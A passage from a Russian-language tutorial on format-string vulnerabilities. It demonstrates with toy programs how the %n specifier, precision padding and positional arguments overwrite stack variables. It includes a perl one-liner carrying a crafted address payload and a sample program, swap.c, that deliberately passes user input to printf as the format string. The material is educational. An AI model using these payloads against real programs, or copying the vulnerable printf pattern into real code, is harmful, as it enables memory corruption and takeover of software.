Первые шаги
Вернемся к программе stack :
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [dця›000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)
Мы задали в качестве строки ввода:
- адрес переменной
i ;
- инструкцию форматирования (
%.496x );
- вторую инструкцию форматирования (
%n ), которая произведет запись по данному адресу.
Чтобы определить адрес переменной i (здесь 0xbffff664 ), мы можем запустить программу дважды и соответственно поменять командную строку. Как вы заметили, i имеет новое значение :) Данная строка форматирования и организация стека делают вызов snprintf() подобным на:
snprintf(buffer,
sizeof buffer,
"\x64\xf6\xff\xbf%.496x%n",
tmp,
4 first bytes in buffer);
Первые четыре байта (содержащие адрес i ) записываются в начало buffer . Формат %.496x позволяет нам избавится от переменной tmp , которая расположена в начале стека. Затем, когда доходит дело до инструкции %n , адрес, который она использует, - есть адрес переменной i , расположенный в начале buffer . Хотя требуемая точность равна 496, snprintf записывает максимум 60 байт (т.к. длина буфера - 64 и 4 байта уже записано). Значение 496 - произвольное, оно используется только чтобы изменить "счетчик байтов". Мы видели, что формат %n сохраняет количество байт, которое должно будет записано. Это значение равно 496, к которому мы добавляем 4 из-за 4 байт адреса i в начале buffer . Поэтому у нас получается 500 байт. Это значение будет записано в следующий адрес, расположенный в стеке, который является адресом i .
Мы можем пойти дальше в развитии данного примера. Чтобы изменить i , нам надо было знать ее адрес ... однако иногда программа сама предоставляет его:
/* swap.c */
#include <stdio.h>
main(int argc, char **argv) {
int cpt1 = 0;
int cpt2 = 0;
int addr_cpt1 = &cpt1;
int addr_cpt2 = &cpt2;
printf(argv[1]);
printf("\ncpt1 = %d\n", cpt1);
printf("cpt2 = %d\n", cpt2);
}
Запуск этой программы показывает, что мы можем управлять стеком (почти) как мы хотим:
>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0
Как вы можете видеть, в зависимости от аргумента, мы можем менять cpt1 или cpt2 . Формату %n нужен адрес, вот почему мы не можем напрямую работать с переменными (например используя %3$n (cpt2) или %4$n (cpt1) ), однако можем это делать через указатели. Последнее - "полуфабрикат" с огромными возможностями для модификации.
Назад |
Содержание |
Вперед
Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
|